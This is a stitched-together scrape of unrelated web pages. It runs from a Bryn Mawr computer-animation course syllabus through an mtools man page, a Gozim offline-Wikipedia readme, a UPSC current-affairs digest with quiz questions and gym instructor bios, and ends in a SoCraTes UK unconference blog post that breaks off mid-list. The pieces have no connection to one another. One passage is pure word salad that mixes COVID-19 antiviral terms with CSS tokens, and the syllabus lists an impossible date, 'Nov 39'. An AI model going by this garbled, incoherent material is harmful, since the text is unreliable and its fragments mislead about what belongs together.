Announcements
-
Assignment 05: Quazy Quaternions: Due Oct 22
-
Lab (Quaternions): Quaternions Worksheet: Due Oct 21
Schedule
The syllabus may change during the semester. Please check here every week for updates on lecture content, worksheets, and assignments.
| Week | Date | Topics, Resources, & ToDo |
|---|---|---|
1 |
Aug 31, Sept 2 |
Introduction. Preliminaries. Math and C++ review
|
2 |
Sept 7,9 |
Animation design patterns; Points, vectors, and time; Oscillations, forward and circular movement.
|
3 |
Sept 14,16 |
Linear and cubic interpolation. Bezier curves, Bernstein polynomials. De Casteljau’s algorithm.
|
4 |
Sept 21,23 |
Catmull-Rom splines. Hermite Splines.
|
5 |
Sept 28,30 |
Rotations. Matrices. Euler angles. Gimbol lock.
|
6 |
Oct 5,7 |
General angle-axis rotations. Quaternions. Slerp. Interpolating rotations
|
7 |
Oct 12,14 (Fall Break) |
|
8 |
Oct 19,21 |
Transformations. Coordinate systems revisited. Homogeneous coordinates. Skeletons and joints
|
9 |
Oct 28 |
More Articulated Characters. Skeleton Example. Tree traversal review. Forward Kinematics. Motion. Poses. Motion Representation. Motion Capture. Procedural animation.
|
10 |
Nov 2,4 |
Motion editing. Blending. Splicing. Interpolation. Transitions. Transitions. Reorienting a motion. Crossfading.
|
11 |
Nov 9,11 |
Analytical method for two-link chain. CCD Algorithm.
|
12 |
Nov 16,18 |
Physics. Intro to rigid body simulation.
|
13 |
Nov 23 (No class Thursday, Thanksgiving) |
|
14 |
Nov 39, Dec 2 |
|
15 |
Dec 7, Dec 9 |
Course Info
Professor: Aline Normoyle
Office:Park 204
Office hours:Tue 2:25-3:45pm, and by appointment
Optional Texts (available at the library):
-
Computer Animation, 3rd Edition by Rick Parent
-
Mathematics for 3D Game Programming and Computer Graphics, 3rd Edition by Eric Lengyel
| Activity | Location | Time |
|---|---|---|
Lecture |
Park 336 (and Zoom (Link posted on Slack)) |
Tuesday, Thursday, 12:55am-2:15pm EST |
Lab |
Park 230 |
Thursday, 2:25pm - 3:45pm EST |
Professor Office Hours |
Science Center (Labs/Atrium/Park 204) |
Late afternoon Tues/Weds/Thurs. Check calend.ly for my availability. No appointment necessary unless you would to talk privately. |
Welcome to CS317,
The goal of this course is to give students a foundation for programming 3D animated and interactive graphics.
In particular, we will "look under the hood" at the algorithms used by game engines and modeling tools to create authorable, interactive characters and special effects. Labs will give students hands on experience implementing algorithms in C++ as well as opportunities to derive their own unique animations. Topics will include mathematical foundations (coordinate systems, transformations, quaternions), interpolation techniques, keyframing, motion capture and procedural animation, and physically-based systems. Animation is hard work but nothing beats the joy and satisfaction of creating your own worlds and watching them come to life!
Prereqs: Discrete Math (CS 231) and Systems Programming (CS 223). Calculus and linear algebra is also helpful.
Software
-
Slack Please go to slack.com. Our workspace is BrynMawr-CS317-F21. You can ask questions and request one-on-one help over zoom using this course’s slack channel.
-
Development environment This refers to the tools we will use to write and run code. We will program in C++ in a Ubuntu programming environment (Park 230), although you may setup your windows or mac laptop for development if you like.
-
Github Account Please go to github.com and register. You will be using github to submit assignments.
You will have everything you need to run your assignments in the CS labs in the Park Science Center (Park 230). If you would like to work on your own laptop, you can follow the instructions below:
-
C++ development environment Please follow the instructions at cplusplus-beginners
-
Graphics development environment Please follow the instructions at getting-started
-
Blender (Optional) Please go to blender.org. Blender is an open-source 3D modeling tool and advanced renderer. We will occasionally use blender to inspect and edit models and materials.
Grading Policies
All graded work will receive a grade, 4.0, 3.7, 3.3, 3.0, 2.7, 2.3, 2.0, 1.7, 1.3, 1.0, or 0.0. At the end of the semester, final grades will be calculated as a weighted average of all grades according to the following weights:
20% |
Final Exam |
25% |
Quizzes |
45% |
Assignments |
10% |
Labs and class work |
Exam and Quizzes
Quizzes will be given at the beginning of class on the days posted on the schedule. Quizzes are 30 minutes and will be done in groups. Students will go over the answers for quizzes in lab a week later.
There will be one final exam for the semester. Details and dates will be released during the semester. Please read the section on accomodations if you are in need of extra time. You must inform us of accommodations or conflicts at least 2 weeks in advance of the exam.
Quizzes and exams will be open book. You will be given sample questions beforehand to help you study. Warning! Do not rely heavily on your notes for quizzes. You will need to have concepts memorized in order to finish within the time limit.
Homeworks and exercises
This course features weekly lab exercises and assignments which are an important component of the class.
Labs will be used for quizzes, presenting work, and completing assignment work.
Class exercises will be passed out in class. These exercises are short and are intended to help you understand the concepts needed for exams and assignments.
Assignments will be posted Fridays and due Thursday night. You are strongly encouraged to start early so that you can ask questions. See the syllabus for links to the assignments. Assignments are open-source but should still be your own work.
You will submit your assignments electronically using Github.
Course Policies
The purpose of our course work is to give you hands on experience with the topics from class. Most of this work will be due in lecture or labs. The weekly time commitment for this course is aimed to be 10 hours per week.
Late Policy
You may request up to 2 late days on an assignment, provided you give advance notice ahead of time (e.g. plan ahead to see if/when you need more time for an assignment). Your lowest assignment grade will be dropped.
Resubmission Policy
In some cases, it is possible to re-submit course work to recover lost points due to errors. However, you may not re-submit work for which you have no initial submission. Nor will we accept re-submissions that are incomplete or show little improvement from the original. If you resubmit work, you must strive for full marks. You will need permission from the instructor to re-submit work.
Missed Quiz Policy
If you need to miss a quiz, you must make arrangements ahead of time to take it later. If you cannot give notice ahead of time because of a medical emergency, you will need to provide a doctor’s note to schedule a make-up quiz.
Academic Integrity
At Bryn Mawr, we assume students are trustworthy and work with honesty and integrity. Look here for information about Bryn Mawr’s Honor Code.
As you progress in this course, you will see that programming is a creative process, similar to writing. The same problem can be solved in multiple ways. It’s essential that you develop your own skills for developing algorithms and implementing them through programs.
Discussing ideas and approaches to problems with others on a general level is fine (in fact, we encourage you to discuss general strategies with each other), but you should never read anyone else’s code or let anyone else read your code. All code you submit should be your own with the following permissible exceptions: code distributed in class, and code found in the course text book. In these cases, you should always include detailed comments that indicates on which parts of the assignment you received help, and what your sources were.
-
Please don’t hesitate to ask the awesome teaching assistants (TAs) for help. They provide TA hours most week nights and are excellent mentors!
-
Please discuss the readings and associated topics with each other. Work together to understand the material. Reading groups to discuss the material are highly recommended — we will explore many ideas and it helps to have multiple people working together to understand them.
-
It is fine to discuss the topics covered in the homeworks, to discuss approaches to problems, and to sketch out general solutions. However, you MUST write up the homework answers, solutions, and programs individually without sharing specific details, mathematical results, program code, etc.
-
Under NO circumstances should you share computer code with another student. Similarly, you are not permitted to use code found on the internet for any of your assignments.
-
Exams, of course, must be your own individual work.
Academic Accommodations
All classes will be recorded and close-captioned. Links to lectures will be posted on the class syllabus.
Any student who has a disability-related need to record this class first must speak with the Director of Access Services, Deb Alder, as part of university policy. Class members need to be aware that this class may be recorded.
To receive an accommodation for a course activity (such as more time on quizzes and exams), you must have an Accommodation Letter from the Office of Student Disability Services and you need to contact us to work out the details of your accommodation at least two weeks prior to the activity. Forms can be emailed to me, the instructor.
You are also welcome to contact us privately to discuss your academic needs. However, all disability-related accommodations must be arranged, in advance, through Student Disability Services.
Students needing academic accommodations for a disability must first register with Access Services. Students can call<PHONE_NUMBER> to make an appointment with the Director of Access Services, Deb Alder, or email her at<EMAIL_ADDRESS>to begin this confidential process. Once registered, students should schedule an appointment with the professor as early in the semester as possible to share the verification form and make appropriate arrangements. Please note that accommodations are not retroactive and require advance notice to implement. More information can be obtained at the Access Services website. (http://www.brynmawr.edu/access-services/)
Title IX
Bryn Mawr/Haverford College is committed to fostering a safe and inclusive living and learning environment where all can feel secure and free from harassment.  Bryn Mawr/Haverford faculty are committed to helping to create a safe learning environment for all students and for the College community as a whole. If you have experienced any form of gender or sex-based discrimination, harassment, or violence, know that help and support are available. Staff members are trained to support students in navigating campus life, accessing health and counseling services, providing academic and housing accommodations, and more.
The College strongly encourages all students to report any incidents of sexual misconduct. Please be aware that all Bryn Mawr/Haverford employees (other than those designated as confidential resources such as counselors, clergy, and healthcare providers) are required to report information about such discrimination and harassment to the Bi-College Title IX Coordinator.
Information about the College’s Sexual Misconduct policy, reporting options, and a list of campus and local resources can be found on the College’s website:
External Links
Links that are related to the course may be posted here. If you have suggestions for links, let us know.
-
Academic Support, including help with math and quantitative skills!
-
This site was generated with asciidoctor


{% extends 'base.html' %} {% load static %} {% block title %} Home {% endblock %} {% block content %}
The purpose of this project is to fetch CustomerBalance data from QuickBook's API and store it to a SQL database. This project uses Django for template rendering, SQLAlchemy for storing data on a local sqlite database and Bootstrap for UI.
Before using this app, please make sure you do the following:Client ID
and Client Secret
(found on
developer.intuit.com
)
REDIRECT_URI
)


mcd(1) mcd(1) Name mcd - change MSDOS directory Note of warning This manpage has been automatically generated from mtools's texinfo docu‐ mentation, and may not be entirely accurate or complete. See the end of this man page for details. Description The mcd command is used to change the mtools working directory on the MS- DOS disk. It uses the following syntax: mcd [msdosdirectory] Without arguments, mcd reports the current device and working directory. Otherwise, mcd changes the current device and current working directory relative to an MS-DOS file system. The environmental variable MCWD may be used to locate the file where the device and current working directory information is stored. The default is `$HOME/.mcwd'. Information in this file is ignored if the file is more than 6 hours old. Mcd returns 0 on success or 1 on failure. Unlike MS-DOS versions of CD, mcd can be used to change to another device. It may be wise to remove old `.mcwd' files at logout. See Also Mtools' texinfo doc Viewing the texi doc This manpage has been automatically generated from mtools's texinfo docu‐ mentation. However, this process is only approximative, and some items, such as crossreferences, footnotes and indices are lost in this transla‐ tion process. Indeed, these items have no appropriate representation in the manpage format. Moreover, not all information has been translated into the manpage version. Thus I strongly advise you to use the original texinfo doc. See the end of this manpage for instructions how to view the texinfo doc. * To generate a printable copy from the texinfo doc, run the follow‐ ing commands: ./configure; make dvi; dvips mtools.dvi * To generate a html copy, run: ./configure; make html A premade html can be found at `http://www.gnu.org/software/mtools/man‐ ual/mtools.html' * To generate an info copy (browsable using emacs' info mode), run: ./configure; make info The texinfo doc looks most pretty when printed or as html. Indeed, in the info version certain examples are difficult to read due to the quot‐ ing conventions used in info. mtools-4.0.17 29Jun11 mcd(1)


Gozim was created with the ambition to give unlimited access to knowledge to as many people possible in any imaginable context.
In short, Gozim gives you a copy of the full Wikipedia library accessible offline at all times on your computer.
Think about accessing any wikipedia article you might need during a power outage, a remote expedition, a natural disaster, or during a visit to an internet-restricted country! Thanks to Gozim, any classroom in the world could potentially access and work on Wikipedia, free of any internet connexion.
Thanks to the Kiwix, a full dump of all Wikipedia entries in different languages is provided in a single file.
Around 40GB for the entire English version of Wikipedia.
Gozim is capable of reading that file and serve it via HTTP, even on very small servers (Raspberry Pi).
With a 25$ 64GB USB key and a 35$ Raspberry Pi, you have enough power to serve multiple users at once.
As it serves regular web pages, it works with any WIFI/HTTP capable clients: OLPC, cheap tablets, smartphones...
It's written in Go language and the indexer is using Bleve
gozimindex -path=yourzimfile.zim -indexPath=yourzimfile.idx
this gives you a full text search on the article's titlesgozimhttpd -path=yourzimfile.zim -index=yourzimfile.idx
and launch your browser to http://yourip:8080


TABLE OF CONTENTS
A. GS1 Related B. GS2 Related POLITY 1. Young lawyers make a plea for audible justice 2. Govt. to boost rural employment 3. Centre pushes for cash-free campuses 4. Most pollution-linked deaths occur in India INTERNATIONAL AFFAIRS/BILATERAL RELATIONS 1. Spain moves to suspend Catalonia’s autonomy C. GS3 Related ECONOMICS 1. U.S. starts anti-dumping probe into PTFE resin from India 2. All major ports to get LDB services: official sources ENVIRONMENT AND ECOLOGY 1. Air quality nosedives in spite of a quieter Deepavali 2. New species of large gecko discovered INTERNAL SECURITY 1. India eyes military expansion; Sitharaman to spend Diwali with soldiers in Andaman tri-service command D. GS4 Related E. Prelims Fact F. UPSC Prelims Practice Questions G. UPSC Mains Practice Questions
Nothing here for Today!!!
1. Young lawyers make a plea for audible justice
Context:
- Justice should not only be done, but also seen to be done.
- A group of young lawyers and law students believes it should also be heard. And heard clearly.
- Whistle for Public Interest (WHIP), a group of practising lawyers and law students who use the Right to Information Act of 2005 to promote transparency and accountability, said court proceedings are hardly audible for lawyers, litigants and even the media present in the courtrooms as judges do not to switch on the microphones kept before them.

- Under the “open court” system of administration of justice, the public should get reasonable access to courtrooms so that they could hear as well as watch the proceedings
- Section 153 B of the Civil Procedure Code and Section 327 of the Code of Criminal Procedure mandate “public access” to court proceedings.
WHIP request:
They want Supreme Court judges to use the microphones installed on their desks in courtrooms. Not using microphones has no “rationale” and amounts to “wastage of public money,”.
2. Govt. to boost rural employment
In news:
- The Rural Development Ministry is in the midst of examining proposals that promises to leapfrog job creation for the rural youth.
Out of the box suggestions:
- Migrant tracking system, low-cost accommodation for urban workers, and changing the word “labour” to “professional workers,”
- The Ministry’s flagship skill development programme — Deen Dayal Updadhaya Gramin Kaushal Yojana — needs to “reinvent itself to reach the next level.”
- Link skill to entrepreneurship development and do not over-emphasize wage employment.
- Rural digital index on the same lines of smart city index.
- Cluster approach: Experts have suggested a cluster approach, where villages with similar socio-economic conditions should be clubbed and every village should have a gram vikas prerak (village development motivator), and call the “bottom of the pyramid as the foundation of the pyramid.”
3. Centre pushes for cash-free campuses
In news:
- The Ministry of Human Resource Development aims to make financial transactions completely digital in all higher education institutions.
- The higher education regulators — University Grants Commission (UGC) and All-India Council for Technical Education (AICTE) — are also being taken on board to help facilitate the transition.
- The move will bring within the digital ambit all such institutions — public and private — including Central and State universities, IITs, NITs, business schools, etc.
- Eventually, the Centre aims to fully digitise all campus processes — including admissions, assistance, assessments, result declaration, admission, etc. — with all these processes going on an integrated IT platform.
Vittiya Saksharta Abhiyan (VISAKA):
- The Centre had launched the Vittiya Saksharta Abhiyan (VISAKA), meaning financial literacy campaign, for digital financial literacy early in 2017, enrolling lakhs of volunteers from among students to train families in their neighbourhood to conduct financial transactions digitally through the BHIM app.
- They were also asked to go to major markets, talk to shopkeepers, vendors and merchants’ associations to help shift to digital transactions.
4. Most pollution-linked deaths occur in India
Highlights of the report by The Lancet Commission on pollution and health:
- Number of deaths in 2015: 2.51 million, India had been ranked the No.1 in pollution related deaths.
- China recorded the second highest number of such deaths (1.8 million).
- India accounted for about 28 per cent of an estimated nine million pollution linked deaths worldwide in 2015.
- Leading cause of deaths in 2015: air pollution accounting for 6.5 million premature deaths.
- Among the world’s 10 most populous countries, the largest increase in numbers of pollution related deaths were seen in India and Bangladesh. But the absolute number of air pollution deaths in Bangladesh was only 0.2 million.
- The number of water pollution deaths in China was only about 34,000, compared to 0.64 million in the case of India.
- In the case of air pollution, the number of deaths in India from ambient air pollution was 1.09 million, while deaths from household air pollution from solid fuels were 0.97 million.
- In the case of water pollution, 0.5 million deaths were caused by unsafe water source, while unsafe sanitation caused 0.32 million deaths.
- Several cities in India and China recorded average annual concentrations of particulate matter PM2·5 pollution of greater than 100 μg/m³, and more than 50% of global deaths due to ambient air pollution in 2015 occurred in India and China.
Pollution and diseases:
- Deaths from air pollution were a result of diseases such as heart disease, stroke, lung cancer, and chronic obstructive pulmonary disease (COPD).
- Pollution has been responsible for the most non-communicable disease deaths.
- Pollution is responsible for more deaths than a high-sodium diet (4·1 million), obesity (4·0 million), alcohol (2·3 million), road accidents (1·4 million), or child and maternal malnutrition (1·4 million).
- Pollution was also responsible for three times as many deaths as AIDS, tuberculosis, and malaria combined.
Background information:
The Lancet Commission on pollution and health is a two-year project in which more than 40 international health and environmental authors were involved.
Category: INTERNATIONAL AFFAIRS/BILATERAL RELATIONS
1. Spain moves to suspend Catalonia’s autonomy
Context:
- Spain said it will move to seize some of the Catalan regional government’s powers after its leader warned that he could declare independence, escalating the country’s worst political crisis in decades.
- The central government in Madrid had given separatist leader Carles Puigdemont time until 10:00 am to say whether or not he was declaring a breakaway state in the semi-autonomous region following a chaotic referendum on October 1.
- Prime Minister of Spain had warned he would trigger Article 155 of Spain’s Constitution a never before used measure allowing it to impose direct rule over the wealthy northeastern region unless Mr. Puigdemont backed down.
Impact of this decision:
- There are fears that such a move, allowing Madrid to potentially suspend Mr. Puigdemont’s government and take over its police force, could spark unrest in a region where even Catalans who oppose independence cherish their autonomy highly.
- The separatist leader responded that Catalan lawmakers could vote to declare secession unilaterally if Madrid triggers Article 155.
- Article 155 a process that would take several days to restore legality in the region.
- The Catalonia crisis has prompted a series of huge street rallies, worried investors and added to the woes of a European Union already grappling with Brexit.
- Catalonia’s 7.5 million residents are fiercely attached to their own language and culture but are divided on whether to break away from the rest of Spain.
- But according to the separatist leader his regional administration has a mandate to declare independence from what he says was a 90% “Yes” vote on October 1.
- But turnout was given as only 43%.
Many voters who oppose independence stayed away from a referendum that had been declared illegal by Spain’s Constitutional Court.
1. U.S. starts anti-dumping probe into PTFE resin from India
In news:
- The U.S. has initiated anti-dumping duty investigations against import of polytetrafluoroethylene (PTFE) resin from India and China.
- The probe is being started to determine whether imports of PTFE resin from China and India are being dumped in the U.S., and a countervailing duty investigation to determine whether producers of PTFE resin in India are receiving alleged unfair subsidies.
- ‘Alleged margins’: The PTFE is mostly used as a non-stick coating for utensils. The department has stated that the estimated dumping margins alleged by the petitioner range from 23.4%-408.9% for China and 15.8% to 128.1% for India.
Investigations:
- In the anti-dumping investigations, it said the department would determine whether imports of the resin from China and India were being dumped in the American market at less than fair value.
- In the countervailing investigation, it will determine whether Indian producers of PTFE resin are receiving unfair government subsidies.
- If the department establishes that the products are being dumped, they can impose duties on those imports.
Anti-dumping investigation:
- Countries initiate anti-dumping probes to determine if the domestic industry has been hurt by a surge in below-cost imports. As a counter-measure, they impose duties under the multilateral WTO regime.
- Anti-dumping measures are taken to ensure fair trade and provide a level-playing field to the domestic industry.
- They are not a measure to restrict imports or cause an unjustified increase in cost of products.
2. All major ports to get LDB services: official sources
Context:
- The Logistics Data Bank’s (LDB) services will soon be extended to all major ports in India.
- The LDB project’s objective: to ensure greater efficiency in the country’s logistics sector through the use of information technology.
In news:
- Discussions between the Government and the Indian Ports Association (IPA) in this regard have begun.
- The IPA is the apex body for India’s major ports under the shipping ministry’s supervisory control. Until now, the LDB project covered only the country’s western logistics corridor.
- As part of the LDB project, each container is attached to a Radio Frequency Identification Tag (RFID) tag and tracked through RFID readers. This, in turn, helps importers and exporters to track their goods in transit.
Background information:
- The LDB project was unveiled in July 2016 as an important ‘ease of doing business’ initiative to boost the country’s foreign trade and bring about greater transparency.
- It helps reduce the overall lead time of container movement, besides bringing down transaction costs that consignees and shippers incur.
- The project is implemented through a Special Purpose Vehicle called Delhi Mumbai Industrial Corridor Development Corporation Logistics Data Services Ltd. (DLDSL) — jointly (50:50) owned by the Delhi Mumbai Industrial Corridor (DMIC) Trust and Japanese IT services major NEC Corporation.
- The LDB project covers “the entire movement through rail or road till the Inland Container Depot and Container Freight Station.”
- The DLDSL so far provides “container tracking services to around 70% of the container traffic in India.”
- The services include providing users the ‘average delivery time’ as well as notifications through SMS and email.
- The LDB project also provides other services such as ‘congestion and bottleneck analysis’ as well as ‘performance bench-marking’ that aids the users to pinpoint supply chain inefficiencies, and in turn help improve the system.
Nothing here for Today!!!
|
Nothing here for Today!!! |
F. Practice Questions for UPSC Prelims Exam
Question 1. With reference to unique BRICS countries initiatives, consider the following
statements:
- BRICS Network University (NU) is an open educational project and does not involve establishment of rigid organizational forms such as a secretariat.
- BRICS Think Tanks Council (BTIC) comprises research organizations from BRICS countries including Observer Research Foundation (ORF) from India.
Which of the above is/are correct?
- 1 only
- 2 only
- Both 1 and 2
- None
See
Question 2. Consider the following statements:
- The eight core industries comprise 60% of the weight of items included in the Index of Industrial Production (IIP)
- The current base year of IIP is 2011-2012
- Coal, fertilizer, electricity, pharmaceuticals, natural gas, refinery products, steel, and cement are the Eight core industries.
Choose the incorrect statements from the option given below.
- 1 and 2
- 2 and 3
- 1 and 3
- All are correct
See
Question 3. Consider the following statements:
- NHB Residex is a set of benchmarks that aims to track housing price indicators across Indian cities
- NHB Residex is designed by a technical advisory committee comprising Government representatives, lenders and property market player
Choose the correct statements from the option given below.
- 1 only
- 2 only
- Both 1 and 2
- Neither 1 nor 2
Question 4. Consider the following statement with reference to constitution of DNA
profiling board, intended by The DNA Based Technology (Use Regulation) Bill, 2017
- The board is supposed to be the regulatory authority that will grant accreditation to DNA laboratories.
- Board will advise central and state governments on all issues relating to DNA laboratories.
- Board will be the authority to make recommendations on ethical and human rights, including privacy, issues related to DNA testing.
Choose the correct statements from the options given below.
- 1 and 2
- 1 and 3
- 2 and 3
- All are correct
Question 5. Consider the following statements
- SWAYAM stands for Study Webs of Active-Learning for Young Aspiring Minds.
- SWAYAM is a programme of Ministry of Electronics and Information Technology
- SWAYAM is an Indian electronic e-education platform which proposes to offer courses from the high school stage to Post-Graduate stage in an interactive electronic platform.
Choose the correct statements from the options given below
- 1 and 2
- 1 and 3
- 2 and 3
- All are correct
G. UPSC Mains Practice Questions
GS Paper I
- How do the Indian debates on Secularism differ from the debates in the West?
GS Paper II
- Why does Constitution of India provide different forms of Oaths for the President, the Ministers, the legislators and the member of the judiciary? Discuss their significance.
Also, check previous Daily News Analysis
“Proper Current Affairs preparation is the key to success in the UPSC- Civil Services Examination. We have now launched a comprehensive ‘Current Affairs Webinar’. Limited seats available. Click here to Know More.”
Enroll for India’s Largest All-India Test Series


PaleoDB
About
FAQ
People
Contact
API
Documentation
Examples
Apps
Gallery
Submit an app
About
FAQ
People
Contact
API
Documentation
Examples
Apps
Gallery
Submit an app


Meet Master Dan
A 4th Degree Black Belt in Tae Kwon Do with over 25 years experience Master Dan Mitchell is the leader of all Tae Kwon Do
classes. He has been teaching for 8 years after earning certifications as a self defense instructor
and Kickboxing instructor. He also holds certifications in Tactical Self Defense, and as a Personal
Protector in addition to earning the rank of Master from the World Tae Kwon Do Federation. As if
that wasn't enough he is also a 5th degree black belt in Moo Duk Kwan and a Black Belt in Hapkido.
His favorite kick is the 540 backspin.
Meet Instructor Sam
A Glencoe native and Special Education teacher began attending Kick Boxing in 2016 and was hooked. She has since joined TaeKwonDo
and has advanced to her green belt. In order to improve her life style and help others improve their
health Sam is currently earning her certification as a Kettlebell instructor; Yoga instructor, and
Master Wellness Coach. "I hope to bring new opportunities for health and movement to the community."


LycheeJS AST Compressor Inspector
This tool shows you what is being generated by the lychee.Parser and how the AST looks like.
Unfocus the left textarea to refresh the AST.
Select the text on the left side to scroll to the generated token on the right.


the and al., with {background treatment IFN-I for coronavirus margin {border-style respiratory are px;} #ffffff;} clinical combination COVID- interferon that against SARS-CoV syndrome MERS-CoV acute viral IFNβ SARS-CoV- lopinavir/ritonavir replication The more px; ribavirin should than this type vitro {font-family antiviral been early font-size have severe used was cell data double; from has not patients their trial which East Elsevier Middle This border-color border-width but disease drugs example, human infection interferons most numerous other potential several solid; studies study such {font-style {font-weight (Chan (Lokugamage COVID-. IFNα IFNβb Infect. administered administration any bold can centre coronaviruses could courier; effect efficient em; factors inhibit its mortality novel proteins pt;} research resource sensitive treat treatments were


Update your browser to view this website correctly.
Update my browser now
×


Enjoy the Auto Music
This is a simple reference page for the validation of your composing of song into the video.
Job-Status:
Download:
mohan08p


SoCraTes UK is an event in the series of Software Craft and Testing open spaces unconferences. There are other similar events happening throughout the year (the main one being in Germany, and others in Belgium, France, Greece, Switzerland, Romania, Chile, etc.). Each has its own set of unique characteristics, but as far as I know they all tend to focus primarily on the technical aspects of Agile Software Development.
Format
The “unconference” term is chosen on purpose to prepare participants about the differences from a traditional conference.
An unconference is a participant-driven meeting. In other words: you decide what topics you want to talk about, and work on, with whom — instead of hoping a “speaker” will address that topic at least briefly.
Open Space (“Open Space Technology”, OST) is a specific form of an unconference that starts with an empty schedule:
- No times are set,
- No rooms are allocated,
- No topics are mandated,
- No separations made between “speakers” and “audience”.
- All participants work out a schedule by suggesting, planning, holding and evaluating sessions, collaboratively.
Audience
Even though the audience for SoCraTes UK was certainly not exclusively developers this year (and I don’t have any kind of formal statistics about participants’ professions tbh) my impression is that the vast majority of participants had a (strong) technical background.  I felt among peers, but there is something much more than just experience level that contributed to that, so please allow me to elaborate.
As with most open spaces events there is no separation between “speaker” and “attendee”; rather, we are all “participants”. Sounds simple, but I cannot stress this enough. It completely transforms the dynamics between the people at the event.
In a traditional conference, socializing is awkward.
People are usually in groups of acquaintances (e.g. they work together, or are friends) and I never feel so comfortable to join a discussion such a group might be having, even if I am sitting next to the group and even if I feel like I have something to contribute to that discussion!! I will mostly keep to myself, or to others attendees that I happen to know prior to the event.
Then we have the relationship with the speakers. They are put on a stage, and they are made to look down on the (usually) hundreds of people who have chosen to listen to their talk (and who, conversely, are made to look up at them). This almost forces the speaker to take on the “all-knowing expert“ role in a what seems to be more of a performance and less of a knowledge exchange. And there is another role in the performance; the role for the audience. Let’s think about this role for a moment:
If hundreds of members of the audience gather to sit down and patiently listen to this person, what exactly would we expect the interaction with the speaker to be? What is the power dynamic created between these two roles in our play?
Certainly, I wouldn’t consider them peers…
After giving a few talks myself, I am always amazed by the expectations that members of the audience have of me when they come to ask me questions after the talk. I sometimes find myself openly admitting to not knowing something, and the reaction I usually get back is very strange. It is as if I am making people uneasy.
How can I possibly not know?
I am almost made to feel like an imposter. And don’t get me wrong, yes, a speaker should have some expertise in the particular area they are giving their talk in. What we are ignoring, most of the times, is that plenty of members of the audience have their own areas of expertise.
The power dynamic is created simply by the fact of someone being on stage and others off it, not — as you would might expect — by what they respectively know.
Contrast this with the open spaces experience: we are no longer passive attendees who sit down and listen to talks, but are rather expected to participate in forming the event itself. This is a completely different basis for social interaction, as I am not only invited, but rather ** expected to cooperate with everyone else**.
Walking up and joining a conversation is not so intimidating anymore. I’m not doing something strange, I’m doing what’s expected of me in this particular setting.
Over the years participating in open spaces (primarily JCrete, AgileCrete), I have come to realize the “attendee” vs. “participant” distinction to be one of the key differences that really make an open spaces event feel like such a different experience to a traditional conference. Someone I can’t remember, once described this difference as that of an “one-way” vs. “two-way” communication and I think that’s spot on! In the first case you are a passive recipient of information, whereas in the latter you participate in an active exchange of information and can challenge the ideas you hear about. I very much prefer the latter setting. You?
Venue
The SoCraTes UK venue for 2019 was Wotton House, in Dorking, Surrey — outside London. It is a beautiful country estate, surrounded by English nature, at its finest.
Very very suitable for hiking and even having sessions outside (alas, this is the UK, so rain does get in the way). The accommodation offered is very nice, and breakfast/lunch/dinner was very good (with both veggie and vegan options) and it was great that everything was included in the price, so we had less to worry about.
The venue is great for open spaces events! It offers an inspiring setting, plenty of options for breakout spaces, it is in the middle of the countryside so very quiet (in the mornings!), and even offers enough space for anyone to break away from the buzz of the event and get some quiet time for reflection, work, reading a book, etc.
The main downside to the venue is that it’s a popular wedding venue, and that meant wedding parties were taking place next to our conference rooms in the afternoons / evenings. Definitely a distraction and something that takes away from the “retreat” format that this event otherwise has.
Another, minor, downside is also that the venue is not the easiest to get to, however the remoteness of it is also nice. If you drive there, you will end up going through what is basically a small road in a forest and I really enjoyed that part of my trip there.
But they need to do a better job of separating their events! It is not that I mind that there is some other event happening at the same time. The venue is more than big enough. It is that we are in each others’ way…
Drunk wedding guests and passionate software developers who are happily night hacking at 1am is a combination that doesn’t really work. And it is unfair to have all the hard work that the org team / facilitators have put in, voluntarily, out of their precious free time, tarnished by the things excessively drunk people do. The hotel staff can only clean up / prevent so much… : (
A shame really, because the venue has a unique character and would otherwise be an excellent choice. I felt tremendously inspired and creative in this setting, not least of all because I was among fellow crafters, whose presence clearly outweighed everything else. It is still very inspiring to find yourself among others who really care about how we work and how we develop software.
Highlights from Sessions
In terms of the open space sessions themselves now, I am just listing some examples of sessions I joined that I found particularly interesting / useful, given my current context. The list is in no particular order.
Please keep in mind that — because this is an open space, where the schedule is made up by whomever turns up on the day — this list is not necessarily representative of the sessions you might find in another SoCraTes instance.
Test && Commit || Revert (TCR)
A very enjoyable, code-retreat style, hands-on session where I got a chance to practice this. Setup took a bit of time, so we didn’t get a chance to explore this as much as I would have liked (ran out of time), but this is certainly on my todo list after the event. I want to explore how TCR can be combined with a specific commit notation that allows us to categorise commits (Hat tip to @ollispieps and @pawelduda for sharing this idea! Also, a thank you to Anita for enduring my Spock-related distractions!)
Value at Customer
A role-playing game by @maaretp where we explored the importance of tracking the real business value of a feature, after it was delivered (i.e. not the estimated business value we might use when prioritising backlog items, e.g. in scrum). As far as I know, tracking the actual ROI on a per feature basis is still not something we have “figured out” as an industry, and I think we’ll see more on this space in the years to come.
Toxic pairing
Another role-playing game, but this time focusing on problematic behaviour when pair programming. The folks who took on the role-playing did a fantastic job of keeping this a fun session! GJ (Hat tip to @TimSchraepen for proposing it and @pawelduda (I think) for the “tell, don’t ask” joke 🙇)
Contract Testing with Pact
I had had contract testing on my radar for a while now but I’d never quite found the time to play with it. @doktor500 and @MoleiroAlex ran an excellent 2h workshop that finally gave me the chance to get a better feel of how it actually works. Law of mobility took me to another session near the end, but I got back round to finishing it off later in the afternoon. Nicely put together workshop, albeit ruby only atm.
Note to self: contribute a setup in another language, for folks who are not comfortable with ruby!
Incorporating SoCraTes UK
Looks like most volunteer-driven communities are faced with similar dilemmas… Do we move forward and create a legal entity to back up our events, and, if so, how do we deal with the overhead this brings? Doesn’t that mean we need to devote extra hours to our community work? Doesn’t that mean extra commitment, at the expense of our own free time? This keeps coming up with the developer community in Crete and AgileCrete, time and time again and it was nice to hear we’re not the only ones who are struggling with this.
Need to look at initiatives like Open Collective) in more depth, to fully understand how they work. Looks like they only solve the logistics issue, but, not, e.g. legal liabilities issues we might be accountable for.
Self-Selection: Don’t let your Manager pick what team you work on — Pick yourself!
A topic I am tremendously interested in, primarily because I think it is one of the pillars that have brought this shining success to Open Source Software.
Companies are now starting to apply this in closed source projects as well, and I had the chance to discuss this at length during the event — once, in a session where we proved that in an open space, even 2 people are enough to run a really interesting session (thanks Keith!), once in the bar, and once in the taxi (thanks @ollispieps), on the way back to the airport.
Remote Working
As a fully remote worker myself, I had the chance to exchange experiences with others who are working remotely, whether full-time or part-time. One incredibly interesting insight that came up in the session (hat tip to Ryan for vocalising it explicitly) is the tradeoff between the benefits of:
- working asynchronously (think e.g. how PRs work in OSS) which allows teams to scale beyond a specific timezone / set of work hours, and
